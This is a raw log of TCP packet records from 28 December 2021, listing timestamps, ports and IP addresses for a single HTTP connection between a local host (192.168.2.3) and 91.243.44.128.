Dec 28, 2021 05:19:34.805279016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805286884 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805318117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805356979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805387974 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805397987 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805439949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805476904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805495977 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805516958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805536032 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805558920 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805597067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805635929 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805654049 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805675030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805689096 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805716038 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805761099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805797100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805819035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805836916 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805851936 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805877924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805916071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805954933 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.805974960 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.805994987 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806009054 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806035042 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806076050 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806113958 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806133986 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806153059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806170940 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806193113 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806231022 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806268930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806298971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806308031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806327105 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806348085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806386948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806425095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806444883 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806464911 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806489944 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806504965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806541920 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806580067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806600094 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806618929 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806638002 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806658983 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806699991 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806736946 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806756020 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806778908 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806806087 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806818008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806855917 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806895018 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806910038 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806932926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.806952953 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.806972027 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807013035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807049990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807070971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.807089090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807097912 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.807127953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807166100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.807230949 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.818126917 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.818948984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.819422007 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.834342003 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869194984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869251966 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869291067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869313002 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869332075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869374990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869405031 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869412899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869452953 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869476080 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869493008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869530916 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869570971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869570971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869609118 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869647980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869687080 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869687080 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869705915 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869728088 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869771957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869792938 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869812965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869852066 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869888067 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869894028 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869931936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.869947910 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.869972944 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870012045 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870049000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870064020 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.870090008 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870114088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.870127916 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870167971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870182037 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.870207071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870244026 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870256901 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.870284081 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870323896 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870352030 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.870362043 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.870413065 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871293068 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871335030 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871372938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871392012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871412992 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871454000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871490955 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871504068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871531963 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871541977 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871572971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871612072 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871651888 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871665001 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871690035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871702909 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871730089 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871772051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871809959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871825933 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871850014 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871860027 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.871890068 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871928930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871968031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.871978045 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872008085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872014046 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872047901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872088909 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872126102 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872148037 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872164965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872170925 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872205973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872243881 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872283936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872291088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872323036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872329950 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872363091 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872402906 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872440100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872451067 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872483015 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872488022 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872522116 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872559071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872596025 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872633934 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872667074 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872673988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872714043 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872751951 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872791052 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872828960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872838020 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872880936 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.872893095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872931957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872971058 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.872984886 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873004913 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873013020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873051882 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873065948 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873092890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873130083 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873168945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873183012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873209000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873245955 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873259068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873285055 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873289108 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873323917 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873363018 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873402119 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873409033 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873440027 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873446941 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873478889 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873517990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873554945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873569012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873594046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873600960 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873635054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873673916 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873713017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873722076 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873752117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873758078 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873790979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873830080 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873866081 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873868942 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873904943 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873919010 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.873944998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.873985052 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874006033 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874025106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874062061 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874075890 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874102116 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874140024 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874155045 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874180079 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874218941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874257088 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874267101 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874296904 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874310970 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874337912 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874375105 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874413013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874423027 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874452114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874456882 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874490023 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874527931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874566078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874573946 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.874604940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.874610901 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.884063959 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.886229038 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.886290073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.889974117 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.934864998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.934910059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.934937954 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.934966087 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.934992075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.934998035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935019016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935029030 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935050011 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935075998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935101986 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935105085 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935133934 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935137033 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935162067 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935192108 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935214996 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935219049 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935247898 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935250044 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935276985 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935303926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935331106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935331106 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935353041 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935359955 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935386896 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935414076 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935436010 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935441971 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935458899 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935559988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935606956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935638905 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935693979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935723066 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935789108 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935812950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935839891 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935868025 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935877085 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935931921 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.935945988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.935973883 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.937113047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.937956095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.937994003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938029051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938066006 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938066006 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938102961 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938139915 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938155890 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938177109 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938189983 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938213110 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938249111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938286066 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938307047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938321114 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938340902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938360929 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938396931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938432932 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938448906 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938471079 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938484907 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938508034 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938544035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938580036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938613892 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938613892 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938644886 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938652039 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938688993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938700914 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938725948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938764095 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938779116 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938801050 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938837051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938851118 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938874960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938910007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938930988 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.938946009 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.938982964 CET	80	49834	91.243.44.128	192.168.2.3
